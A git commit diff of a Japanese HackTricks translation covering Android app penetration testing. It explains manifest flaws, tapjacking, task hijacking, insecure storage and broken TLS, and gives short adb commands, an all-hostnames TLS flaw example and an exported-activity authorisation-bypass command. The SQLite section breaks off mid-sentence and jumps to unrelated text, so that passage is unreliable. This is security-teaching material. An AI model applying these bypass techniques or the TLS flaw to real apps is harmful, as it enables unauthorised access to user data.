Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil

This commit is contained in:
Translator 2024-02-08 04:49:53 +00:00
parent aee3e7ac7d
commit ae8446be56
117 changed files with 4158 additions and 5802 deletions

View file

@ -6,10 +6,10 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れ
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **Discordグループ**に参加する💬 [**Discord group**](https://discord.gg/hRep4RUj7f)または[**telegram group**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする。
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手す
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **Discordグループ**に参加する💬 [**Discord group**](https://discord.gg/hRep4RUj7f)または[**telegram group**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>
@ -27,11 +27,11 @@ HackTricksをサポートする他の方法
**最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新について知る
**[Discord](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力しましょう!**
[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力しましょう!
## Androidアプリケーションの基礎
Androidセキュリティに関連する**最も重要な部分**やAndroidアプリケーションの中で**最も危険なコンポーネント**について知るために、このページを読むことを強くお勧めします:
Androidセキュリティに関連する**最も重要な部分やAndroidアプリケーションの中で最も危険なコンポーネントについて知る**には、このページを読むことを強くお勧めします:
{% content-ref url="android-applications-basics.md" %}
[android-applications-basics.md](android-applications-basics.md)
@ -40,14 +40,14 @@ Androidセキュリティに関連する**最も重要な部分**やAndroidア
## ADBAndroid Debug Bridge
これはAndroidデバイスエミュレートされたものまたは物理的なものに接続するために必要な主要ツールです。\
これにより、コンピューターからデバイスを**USB**または**ネットワーク**経由で制御し、ファイルを**コピー**したり、アプリを**インストール**およびアンインストールしたり、**シェル**コマンドを実行したり、**バックアップ**を取ったり、**ログ**を読んだりすることができます。
**ADB**は、コンピューターからデバイスを**USB**または**ネットワーク**経由で制御できます。このユーティリティは、ファイルの**コピー**、アプリの**インストール**と**アンインストール**、シェルコマンドの**実行**、データの**バックアップ**、ログの**読み取り**などを可能にします。
ADBの使用方法を学ぶために、次の[**ADBコマンド**](adb-commands.md)のリストを参照してください。
## Smali
時には、**アプリケーションコードを変更**して**隠された情報**にアクセスすることが興味深いことがあります(おそらくよく難読化されたパスワードやフラグ。その後、APKを逆コンパイルしてコードを変更し、再コンパイルすることが興味深いかもしれません。\
[**このチュートリアル**では、APKを逆コンパイルし、Smaliコードを変更してAPKを再コンパイルする方法](smali-changes.md)を学ぶことができます。これは、**動的解析中にいくつかのテストの代替手段として非常に役立つ**かもしれません。そのため、**常にこの可能性を念頭に置いておいてください**。
時には、**アプリケーションコードを変更**して**隠された情報**にアクセスすることが興味深いことがあります(おそらくよくされたパスワードやフラグ。その後、APKを逆コンパイルしてコードを変更し、再コンパイルすることが興味深いかもしれません。\
[**このチュートリアル**では、APKを逆コンパイルし、Smaliコードを変更してAPKを再コンパイルする方法](smali-changes.md)を学ぶことができます。これは、**ダイナミック解析中にいくつかのテストの代替手段として非常に役立つ**かもしれません。そのため、**常にこの可能性を念頭に置いておいてください**。
## その他の興味深いトリック
@ -66,45 +66,43 @@ adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
## 静的解析
まず、APKを解析するためには、デコンパイラを使用してJavaコードを確認する必要があります。\
[**こちらを読んで、利用可能な異なるデコンパイラに関する情報を見つけてください**](apk-decompilers.md)。
[異なる利用可能なデコンパイラに関する情報はこちらを参照してください。](apk-decompilers.md)
### 興味深い情報を探す
APKの**strings**を見るだけで、**パスワード**、**URL**、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**など興味深い情報を検索できます。コード実行の**バックドア**や認証バックドア(アプリにハードコードされた管理者資格情報)なども探してください。
APKの**strings**を見るだけで、**パスワード**、**URL**、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**など興味深い情報を検索できます。コード実行の**バックドア**や認証バックドア(アプリにハードコードされた管理者資格情報)なども探してください。
**Firebase**
**Firebase URL**に特に注意し、それが適切に構成されているかどうかを確認してください。[こちらでFirebaseについての詳細情報とその悪用方法を確認してください。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
**Firebase URL**に特に注意し、構成が適切かどうかを確認してください。[Firebaseについての詳細情報とその悪用方法についてはこちらを参照してください。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### アプリケーションの基本的な理解 - Manifest.xml、strings.xml
[**こちらで**](apk-decompilers.md)言及されているデコンパイラのいずれかを使用すると、_Manifest.xml_を読むことができます。また、**apk**ファイルの拡張子を**.zip**に変更して**解凍**することもできます。\
**マニフェスト**を読むと、次の**脆弱性**を見つけることができます:
アプリケーションの _Manifest.xml__strings.xml_ ファイルを調査することで、潜在的なセキュリティ脆弱性が明らかになる可能性があります。これらのファイルは、デコンパイラを使用するか、APKファイルの拡張子を.zipに変更して解凍することでアクセスできます。
* まず、アプリケーションが**デバッグ可能かどうか**を確認してください。本番用のAPKはデバッグ可能ではないはずですそうでないと他の人が接続できます。マニフェストで`debuggable="true"`属性を探してアプリケーションがデバッグ可能かどうかを確認できます。例:`<application theme="@2131296387" debuggable="true"`
* [こちらで](drozer-tutorial/#is-debuggeable)デバッグ可能なアプリケーションを見つけて悪用する方法を学んでください
* **バックアップ****`android:allowBackup`**属性は、USBデバッグを有効にしたユーザーがアプリケーションデータをバックアップおよび復元できるかどうかを定義します。バックアップフラグがtrueに設定されている場合、デバイスがルート化されていなくても、攻撃者はadbを介してアプリケーションデータのバックアップを取ることができます。したがって、カードの詳細、パスワードなどの機密情報を処理および保存するアプリケーションは、この設定を**false**に明示的に設定する必要があります。デフォルトでは、これを防ぐために**true**に設定されています。
* `<application android:allowBackup="false"`
* **NetworkSecurity:** アプリケーションのネットワークセキュリティは、**`android:networkSecurityConfig="@xml/network_security_config"`**でデフォルト値を上書きできます。その名前のファイルが_res/xml_に配置される可能性があります。このファイルは、証明書ピンやHTTPトラフィックを許可するかどうかなどの重要なセキュリティ設定を構成します。ここで設定できるすべての情報について詳しくはこちらを参照してくださいが、いくつかのドメインのHTTPトラフィックを構成する方法についての例を確認してください
* `<domain-config cleartextTrafficPermitted="true"> <domain includeSubdomains="true">formation-software.co.uk </domain></domain-config>`
* **公開されたアクティビティ**: マニフェスト内の公開されたアクティビティを確認してください。これは危険な場合があります。動的解析では、[この動作を悪用する方法](./#exploiting-exported-activities-authorisation-bypass)について説明します。
* **コンテンツプロバイダ**: 公開されたプロバイダが公開されている場合、興味深い情報にアクセス/変更できる可能性があります。動的解析では、[それらを悪用する方法](./#exploiting-content-providers-accessing-and-manipulating-sensitive-information)を学びます。
* 属性`android:name="android.support.FILE_PROVIDER_PATHS"`内の**FileProviders**構成を確認してください。[こちらでFileProvidersについて詳しく学んでください](./#fileprovider)。
* **公開されたサービス**: サービスが内部で何を行っているかに応じて、脆弱性が悪用される可能性があります。動的解析では、[それらを悪用する方法](./#exploiting-services)を学びます。
* **ブロードキャストレシーバ**: [それらを悪用する方法](./#exploiting-broadcast-receivers)を学ぶことができます。
* **URLスキーム**: スキーマを管理するアクティビティのコードを読み、ユーザーの入力を処理する際の脆弱性を探してください。[URLスキームについての詳細情報はこちら](./#url-schemes)。
* **minSdkVersion**、**targetSDKVersion**、**maxSdkVersion**: アプリが実行されるAndroidのバージョンを示します。セキュリティの観点から、古いバージョンをサポートすることは既知の脆弱なAndroidバージョンが実行される可能性があるため重要です。
**Manifest.xml** から特定される**脆弱性**には次のものがあります:
**resources.arsc/strings.xml**を読むと、いくつかの**興味深い情報**を見つけることができます:
* **デバッグ可能なアプリケーション** _Manifest.xml_ ファイルでデバッグ可能に設定されたアプリケーション(`debuggable="true"`)は、悪用につながる接続を許可するため、リスクをもたらします。デバッグ可能なアプリケーションの検出と悪用方法についての詳細は、デバイス上でデバッグ可能なアプリケーションを見つけて悪用するチュートリアルを参照してください。
* **バックアップ設定**:機密情報を扱うアプリケーションでは、`android:allowBackup="false"`属性を明示的に設定して、USBデバッグが有効になっている場合にadbを介した未承認のデータバックアップを防止する必要があります。
* **ネットワークセキュリティ**_res/xml/_ でのカスタムネットワークセキュリティ構成(`android:networkSecurityConfig="@xml/network_security_config"`は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインのHTTPトラフィックを許可する例があります。
* **エクスポートされたアクティビティとサービス**:マニフェストでエクスポートされたアクティビティとサービスを特定すると、誤用される可能性のあるコンポーネントが明らかになります。動的テスト中のさらなる分析により、これらのコンポーネントをどのように悪用するかが明らかになります。
* **コンテンツプロバイダとFileProviders**公開されたコンテンツプロバイダは、データへの未承認のアクセスや変更を許可する可能性があります。FileProvidersの構成も検討されるべきです。
* **ブロードキャストレシーバとURLスキーム**これらのコンポーネントは悪用される可能性があり、URLスキームの管理方法に特に注意する必要があります。
* **SDKバージョン**`minSdkVersion`、`targetSDKVersion`、`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。
**strings.xml** ファイルからは、APIキー、カスタムスキーマ、その他の開発者ートなどの機密情報が見つかる場合があり、これらのリソースを注意深く確認する必要があります。
* APIキー
* カスタムスキーマ
* 開発者がこのファイルに保存するその他の興味深い情報
### タップジャッキング
**タップジャッキング**は、**悪意のあるアプリケーション**が**被害者アプリケーションの上に配置**され、被害者アプリケーションを視覚的に遮蔽します。被害者アプリケーションが見えなくなると、ユーザーインターフェースが設計され、ユーザーがそれとやり取りするように誘導されるようになっていますが、実際にはその操作を被害者アプリケーションに渡しています。\
実際には、ユーザーが自分が実際に被害者アプリケーションでアクションを実行していることを知らないようにしています。
**タップジャッキング**は、**悪意のあるアプリケーション**が**被害者アプリケーションの上に配置**され、被害者アプリケーションを視覚的に隠すと、ユーザーが実際には被害者アプリケーションでアクションを実行していると思わせるように設計されたユーザーインターフェースでユーザーをだまし取る攻撃です。\
実際には、ユーザーが自分が実際に被害者アプリでアクションを実行していることを知らないようにしています。
詳細は以下で確認できます:
@ -114,7 +112,7 @@ APKの**strings**を見るだけで、**パスワード**、**URL**、**API**キ
### タスクハイジャッキング
**`launchMode`**が**`singleTask`**に設定され、**`taskAffinity`**が定義されていない**アクティビティ**は、タスクハイジャッキングの脆弱性があります。これは、**アプリケーション**がインストールされ、実際のアプリケーションよりも先に起動された場合、実際のアプリケーションのタスクを**ハイジャック**できることを意味します(つまり、ユーザーは**実際のアプリケーションを使用していると思い込んで悪意のあるアプリケーションとやり取りしている**と思うことになります)。
`launchMode`が**`singleTask`に設定され、`taskAffinity`が定義されていない** **アクティビティ**は、タスクハイジャッキングの脆弱性があります。つまり、インストールされた**アプリケーション**が実際のアプリケーションよりも先に起動された場合、実際のアプリケーションのタスクを**ハイジャック**できます(ユーザーは実際のアプリケーションを使用していると思い込んで**悪意のあるアプリケーション**とやり取りしてしまいます)。
詳細は以下で確認できます:
@ -122,52 +120,50 @@ APKの**strings**を見るだけで、**パスワード**、**URL**、**API**キ
[android-task-hijacking.md](android-task-hijacking.md)
{% endcontent-ref %}
### 安全でないデータ保存
### 安全でないデータ保存
**内部ストレージ**
Androidでは、内部ストレージに保存されたファイルは、それを作成した**アプリケーション**によって**独占的にアクセス**できるように**設計**されています。このセキュリティ対策はAndroidオペレーティングシステムによって**強制**され、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。ただし、開発者は、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`などのモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにすることがあります。しかし、これらのモードは他のアプリケーション(悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限**しません。
Androidでは、内部ストレージに保存されたファイルは、作成した**アプリケーション**のみが**アクセスできるように設計**されています。このセキュリティ対策はAndroidオペレーティングシステムによって強制され、ほとんどのアプリケーションのセキュリティニーズには一般的に適しています。ただし、開発者は時々、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`などのモードを利用して、異なるアプリケーション間でファイルを共有することがあります。しかし、これらのモードは他のアプリケーション(悪意のあるものを含む)によるこれらのファイルへのアクセスを制限しません。
1. **静的解析:**
- `MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`の使用が**慎重に検討**されていることを**確認**してください。これらのモードは、ファイルを**意図しないアクセス**にさらす可能性があります。
1. **静的解析**
- `MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`の使用が**注意深く検討**されていることを**確認**してください。これらのモードは、ファイルを**意図しないアクセス**や**不正なアクセス**にさらす可能性があります。
2. **動的解析:**
- アプリケーションによって作成されたファイルに設定された**アクセス許可**を確認してください。特に、ファイルが**世界中で読み取りまたは書き込み可能**に設定されているかどうかを**確認**してください。これは、デバイスにインストールされている**どのアプリケーション**でも、その起源や意図に関係なく、これらのファイルを**読み取ったり変更**したりできる可能性があるため、重大なセキュリティリスクを引き起こす可能性があります。
2. **動的解析**
- アプリケーションによって作成されたファイルの**設定された権限**を確認してください。特に、ファイルが**世界中で読み取りまたは書き込み可能に設定**されているかどうかを**確認**してください。これは、デバイスにインストールされている**どのアプリケーション**でも、その起源や意図に関係なく、これらのファイルを**読み取ったり変更**したりできる可能性があるため、重大なセキュリティリスクを引き起こす可能性があります。
**外部ストレージ**
### 外部ストレージ上のファイルの管理ガイドライン
外部ストレージSDカードなどのファイルを扱う場合は、次の注意が必要です
外部ストレージSDカードなどのファイルを扱う際には、次の注意が必要です
1. **アクセシビリティ**
- 外部ストレージのファイルは**グローバルに読み取りおよび書き込み可能**です。つまり、どのアプリケーションやユーザーでもこれらのファイルにアクセスできます。
1. **アクセシビリティ**:
- 外部ストレージ上のファイルは**グローバルに読み取りおよび書き込み可能**です。つまり、どのアプリケーションやユーザーでもこれらのファイルにアクセスできます。
2. **セキュリティ上の懸念**:
2. **セキュリティ上の懸念**
- アクセスが容易であるため、外部ストレージに**機密情報を保存しない**ことが推奨されます。
- 外部ストレージは取り外し可能であり、またどのアプリケーションからもアクセスできるため、セキュリティが低くなります。
- 外部ストレージは取り外し可能であり、どのアプリケーションでもアクセスできるため、セキュリティが低くなります。
3. **外部ストレージからのデータの取り扱い**:
3. **外部ストレージからのデータの取り扱い**
- 外部ストレージから取得したデータには**入力検証**を常に行ってください。これは、データが信頼できないソースから取得されているため、重要です。
- 外部ストレージから実行可能ファイルやクラスファイルを動的に読み込むことは強く推奨されません。
- アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合は、これらのファイルが**署名され、暗号的に検証**されることを確認してから動的に読み込まれるようにしてください。この手順は、アプリケーションのセキュリティの整合性を維持するために非常に重要です。
- 外部ストレージ実行可能ファイルやクラスファイルを保存して動的に読み込むことは強く推奨されません。
- アプリケーションが外部ストレージから実行可能ファイルを取得する必要がある場合は、これらのファイルが**署名され、暗号的に検証**されることを確認してから動的に読み込んでください。この手順は、アプリケーションのセキュリティの整合性を維持するために重要です。
外部ストレージは`/storage/emulated/0`、`/sdcard`、`/mnt/sdcard`でアクセスできます。
外部ストレージは`/storage/emulated/0`、`/sdcard`、`/mnt/sdcard`で**アクセス**できます。
{% hint style="info" %}
Android 4.4**API 17**以降、SDカードには、アプリケーションからそのアプリケーション専用のディレクトリにアクセスを**制限**するディレクトリ構造があります。これにより、悪意のあるアプリケーションが他のアプリケーションのファイルに読み取りまたは書き込みアクセスを取得するのを防ぎます。
Android 4.4**API 17**以降、SDカードにはアプリケーションがそのアプリケーション専用のディレクトリにアクセスできるように制限されたディレクトリ構造があります。これにより、悪意のあるアプリケーションが他のアプリケーションのファイルを読み取ったり書き込んだりすることが防止されます。
{% endhint %}
**クリアテキストで保存された機密データ**
* **共有プリファレンス**: Androidは、各アプリケーションが`/data/data/<packagename>/shared_prefs/`パスに簡単にxmlファイルを保存できるようにし、このフォルダーにクリアテキストで機密情報を見つけることができる場合があります。
* **データベース**: Androidは、各アプリケーションが`/data/data/<packagename>/databases/`パスにsqliteデータベースを簡単に保存できるようにし、このフォルダーにクリアテキストで機密情報を見つけることができる場合があります。
* **共有プリファレンス**Androidは、各アプリケーションが簡単にxmlファイルを`/data/data/<packagename>/shared_prefs/`に保存できるようにし、そのフォルダーにクリアテキストで機密情報を見つけることができる場合があります。
* **データベース**Androidは、各アプリケーションが簡単にsqliteデータベースを`/data/data/<packagename>/databases/`に保存できるようにし、そのフォルダーにクリアテキストで機密情報を見つけることができる場合があります。
### 破損したTLS
**すべての証明書を受け入れる**
何らかの理由で、開発者は、たとえばホスト名が一致しない場合でも、すべての証明書を受け入れることがあります。以下のようなコード行がある場合でもです。
何らかの理由で、開発者は、たとえばホスト名が一致しない場合でも、以下のようなコード行ですべての証明書を受け入れることがあります
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -176,11 +172,11 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
**鍵管理プロセスの不備**
一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード/予測可能なキーで暗号化しています。これは行うべきではありません。逆向きに進むことで攻撃者が機密情報を抽出できる可能性があるためです。
一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード/予測可能なキーで暗号化しています。これは行うべきではありません。逆向きにすることで攻撃者が機密情報を抽出できる可能性があるためです。
**安全でないおよび/または非推奨のアルゴリズムの使用**
開発者は、**非推奨のアルゴリズム**を使用して**認証チェック**、**データの保存**または**送信**を行うべきではありません。これらのアルゴリズムの一部には、RC4、MD4、MD5、SHA1などがあります。たとえばパスワードを保存するために**ハッシュ**が使用される場合、**ソルト**とともにハッシュブルートフォース**耐性**を持つものを使用する必要があります。
開発者は、**非推奨のアルゴリズム**を使用して**認証チェック**、**データの保存**または**送信**を行うべきではありません。これらのアルゴリズムの一部には、RC4、MD4、MD5、SHA1などがあります。たとえばパスワードを保存するために**ハッシュ**が使用されている場合、**ソルト**とともにハッシュブルートフォース**耐性**を持つものを使用する必要があります。
### その他のチェック
@ -212,7 +208,7 @@ XamarinアプリケーションのC#コードに簡単にアクセスする方
### 自動静的コード解析
ツール[**mariana-trench**](https://github.com/facebook/mariana-trench)は、アプリケーションのコードをスキャンして**脆弱性**を見つけることができます。このツールには、**既知のソース**(ユーザーによって**制御される入力**の**場所**をツールに示す)や**シンク**(悪意のあるユーザー入力が損害を引き起こす**危険な場所**をツールに示す)および**ルール**が含まれています。これらのルールは、**ソース-シンク**の**組み合わせ**を示し、脆弱性を示します。
ツール[**mariana-trench**](https://github.com/facebook/mariana-trench)は、アプリケーションのコードをスキャンして**脆弱性**を見つけることができます。このツールには、**既知のソース**(ユーザーによって**制御される入力**の**場所**をツールに示す)や**シンク**(悪意のあるユーザー入力が損害を引き起こす可能性のある**危険な場所**をツールに示す)などの一連の**ソース**、**シンク**(脆弱性を示す**ソース-シンク**の組み合わせを示す**ルール**が含まれています。
この知識を活用して、**mariana-trenchはコードをレビューし、可能な脆弱性を見つけます**。
@ -231,7 +227,7 @@ XamarinアプリケーションのC#コードに簡単にアクセスする方
* **コード実行**: `Runtime.exec(), ProcessBuilder(), native code:system()`
* **SMSの送信**: `sendTextMessage, sendMultipartTestMessage`
* `native`と宣言された**ネイティブ機能**: `public native, System.loadLibrary, System.load`
* [**ネイティブ機能の逆向き**の方法を学ぶには、これを読んでください](reversing-native-libraries.md)
* **ネイティブ機能を逆向きにする方法**を学ぶには、[こちらを読んでください](reversing-native-libraries.md)
### **その他のテクニック**
@ -249,10 +245,10 @@ XamarinアプリケーションのC#コードに簡単にアクセスする方
ハッキングのスリルと課題に深く入り込むコンテンツに参加しましょう
**リアルタイムのハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちます
リアルタイムのニュースと洞察を通じて、迅速なハッキングの世界を追いかけましょう
**最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手しましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!
@ -260,7 +256,7 @@ XamarinアプリケーションのC#コードに簡単にアクセスする方
## 動的解析
> まず、アプリケーションとすべての環境主にBurp CA証明書、Drozer、Fridaをインストールできる環境が必要です。したがって、ルート化されたデバイスエミュレートされているかどうかにかかわらずが非常にお勧めです。
> まず、アプリケーションとすべての環境主にBurp CA証明書、Drozer、Fridaをインストールできる環境が必要です。したがって、ルート化されたデバイスエミュレートされているかどうかにかかわらずを強くお勧めします。
### オンライン動的解析
@ -276,29 +272,29 @@ ADB接続を介して、エミュレータ内で**Drozer**と**Frida**を使用
#### エミュレータを使用する
* [**Android Studio**](https://developer.android.com/studio)**x86**および**arm**デバイスを作成でき、[**最新のx86** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)バージョンは**遅いarmエミュレータを必要とせずにARMライブラリをサポート**しています)。
* [**Android Studio**](https://developer.android.com/studio)**x86**および**arm**デバイスを作成でき、[**最新のx86**バージョンはARMライブラリを使用**するため、遅いarmエミュレータが必要ない**)。
* このページで設定方法を学びます:
{% content-ref url="avd-android-virtual-device.md" %}
[avd-android-virtual-device.md](avd-android-virtual-device.md)
{% endcontent-ref %}
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(無料版:** Personal Edition、アカウントを作成する必要があります。_潜在的なエラーを回避するために_ _**VirtualBoxを使用したバージョンをダウンロード**することをお勧めします。)
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(無料版:** Personal Edition、アカウントを作成する必要があります。_潜在的なエラーを回避するために、_**VirtualBox**を使用したバージョンを**ダウンロード**することをお勧めします。)
* [**Nox**](https://es.bignox.com)無料ですが、FridaやDrozerをサポートしていません
{% hint style="info" %}
どのプラットフォームでも新しいエミュレータを作成する際には、画面が大きいほどエミュレータが遅くなることに注意してください。可能であれば小さな画面を選択してください。
{% endhint %}
Genymotionに**Googleサービス**AppStoreなどをインストールするには、次の画像の赤でマークされたボタンをクリックする必要があります:
Genymotionに**Googleサービス**AppStoreなどをインストールするには、次の画像の赤で囲まれたボタンをクリックする必要があります:
![](<../../.gitbook/assets/image (200) (1).png>)
また、GenymotionのAndroid VMの**構成**で**Bridge Network mode**を選択できますこれは、他のVMからAndroid VMに接続する場合に便利です
また、Genymotionの**Android VMの構成**で**Bridge Network mode**を選択できますこれは、他のVMからAndroid VMに接続する場合に便利です
#### 物理デバイスを使用する
デバッグオプションを有効にし、ルート化できると便利です
デバッグオプションを有効にし、ルート化できると便利です
1. **設定**
2. Android 8.0以降)**システム**を選択します。
@ -306,41 +302,44 @@ Genymotionに**Googleサービス**AppStoreなどをインストールす
4. **ビルド番号**を7回押します。
5. 戻り、**開発者オプション**を見つけます。
> アプリケーションをインストールした後、最初に行うべきことは、それを試して調査し、その動作や機能を理解し、それに慣れることです。\
> **MobSF動的解析+pidcat**を使用してこの初期の動的解析を実行することをお勧めします。これにより、MobSFが後でレビューできる**興味深いデータ**を多く**キャプチャ**することができます。
> アプリケーションをインストールした後、最初に行うべきことは、それを試して調査し、どのように動作し、それに慣れることです。\
> **MobSF動的解析+pidcat**を使用してこの初期の動的解析を実行することをお勧めします。これにより、**アプリケーションの動作**を学びながら、MobSFが後でレビューできる**興味深いデータ**を**キャプチャ**します。
### 意図しないデータ漏洩
**ログ**
開発者はしばしばデバッグ情報を公開しています。そのため、`READ_LOGS`権限を持つアプリケーションはこれらのログにアクセスでき、そこから機密情報を取得できます。\
アプリケーションを操作する際には、[**pidcat**](https://github.com/JakeWharton/pidcat)(お勧め、使用しやすく読みやすい)または[adb logcat](adb-commands.md#logcat)を使用して作成されたログを読み取り、**機密情報**を探します。
デベロッパーは、公に**デバッグ情報**を公開することに注意する必要があります。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して、機密情報を特定し保護するために、**pidcat**や`adb logcat`などのツールが推奨されています。**Pidcat**は使いやすさと読みやすさで評価されています。
{% hint style="warning" %}
Android 4.0以降のバージョンでは、**アプリケーションは自分自身のログにのみアクセス**できるようになりました。そのため、アプリケーションは他のアプリのログにアクセスできません。\
それでも**機密情報を記録しない**ことをお勧めします。
Android 4.0以降では、**アプリケーションは自分自身のログにのみアクセス**できます。したがって、アプリケーションは他のアプリのログにアクセスできません。\
それでも**機密情報を記録しない**ことをお勧めします。
{% endhint %}
**コピー/ペーストバッファのキャッシング**
**コピー/ペーストバッファのキャッシ**
Androidは、Androidアプリケーションでコピー/ペースト機能を提供するためのクリップボードベースのフレームワークを提供しています。しかし、他のアプリケーションが**クリップボード**にアクセスできると、機密データを含む可能性のある**クリップボード**にアクセスできる重大な問題が発生します。**機密部分**のコピー/ペースト機能は**無効**にすべきです。たとえば、クレジットカードの詳細のコピーを無効にします。
Androidの**クリップボードベース**のフレームワークは、アプリでコピー/ペースト機能を有効にしますが、他のアプリがクリップボードにアクセスできるため、機密データが漏洩する可能性があります。クレジットカードの詳細など、アプリケーションの機密部分でコピー/ペースト機能を**無効**にすることは重要です。
**クラッシュログ**
アプリケーションが実行中にクラッシュし、ログをどこかに保存する場合、これらのログは、Androidアプリケーションを逆向きにエンジニアリングできない場合に特に攻撃者の役に立つことがあります。そのため、アプリケーションがクラッシュしたときにログを作成しないようにし、ログがネットワーク経由で送信される場合はSSLチャネルを介して送信されることを確認してください。\
アプリケーションが**クラッシュ**して**ログを保存**すると、特にアプリケーションが逆向きにできない場合、これらのログは攻撃者に役立ちます。このリスクを軽減するために、クラッシュ時のログ記録を避け、ログをネットワーク経由で送信する場合は、セキュリティのためにSSLチャネルを介して送信する必要があります。
ペンテスターとして、これらのログを確認してみてください。
**第三者に送信されるアナリティクスデータ**
ほとんどのアプリケーションは、Google AdSenseなどの他のサービスをアプリケーションで使用しますが、時には**機密データ**やそのサービスに送信する必要のないデータが**漏洩**することがあります。これは、開発者が機能を適切に実装していないために発生する可能性があります。アプリケーションのトラフィックをインターセプトして、第三者に機密データが送信されていないかどうかを確認できます。
アプリケーションはしばしばGoogle Adsenseなどのサービスを統合しますが、開発者の実装が不適切な場合、機密データが漏洩する可能性があります。潜在的なデータ漏洩を特定するために、アプリケーションのトラフィックをインターセプトして、第三者サービスに送信される機密情報をチェックすることが望ましいです。
### SQLiteデータベース
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中に作成された**データベース**、**テーブル**および**列**の名前、および保存されている**すべてのデータ
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中に作成された**データベース**、**テーブル**および**列**の**名前**、および保存されている**すべてのデータ**を確認してください。ここで**機密情報**(脆弱性となる可能性がある)を見つけることができます。\
データベースは、`/data/data/the.package.name/databases`にあるはずです。例えば`/data/data/com.mwr.example.sieve/databases`
データベースが機密情報を保存しており、**暗号化**されているが、アプリケーション内に**パスワード**が見つ
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**注意**: MobSFは、アクティビティの`android:launchMode`で**singleTask/singleInstance**を使用することを悪意のあるものとして検出しますが、[こちら](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン< 21でのみ危険だとされています
**注意**: MobSFは、アクティビティの`android:launchMode`で**singleTask/singleInstance**の使用を悪意のあるものとして検出しますが、[こちら](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン< 21でのみ危険だとされています
{% hint style="info" %}
認可バイパスが常に脆弱性であるわけではないことに注意してください。バイパスの動作方法や露出される情報によって異なります。
@ -352,36 +351,35 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
#### タップジャッキング
タップジャッキングが防止されていない場合、エクスポートされたアクティビティを悪用して**ユーザーに予期しないアクションを実行**させることができます。[**タップジャッキングとは何かについて詳しくはリンクを参照してください**](./#tapjacking)。
タップジャッキングが防止されていない場合、エクスポートされたアクティビティを悪用して**ユーザーに予期しないアクションを実行**させることができます。[**タップジャッキングとは何かについて詳しくはこちらを参照してください**](./#tapjacking)。
### コンテンツプロバイダの悪用 - 機密情報へのアクセスと操作
[**コンテンツプロバイダとは何かを思い出したい場合はこちらを読んでください。**](android-applications-basics.md#content-provider)\
コンテンツプロバイダは基本的にデータを**共有**するために使用されます。アプリに利用可能なコンテンツプロバイダがある場合、そこから**機密**データを**抽出**することができるかもしれません。また、潜在的に**SQLインジェクション**や**パストラバーサル**が脆弱であるかどうかをテストすることも興味深いでしょう。\
[**Drozerを使用してコンテンツプロバイダを悪用する方法を学ぶ**](drozer-tutorial/#content-providers)。
[**コンテンツプロバイダとは何かを確認したい場合はこちらを読んでください。**](android-applications-basics.md#content-provider)\
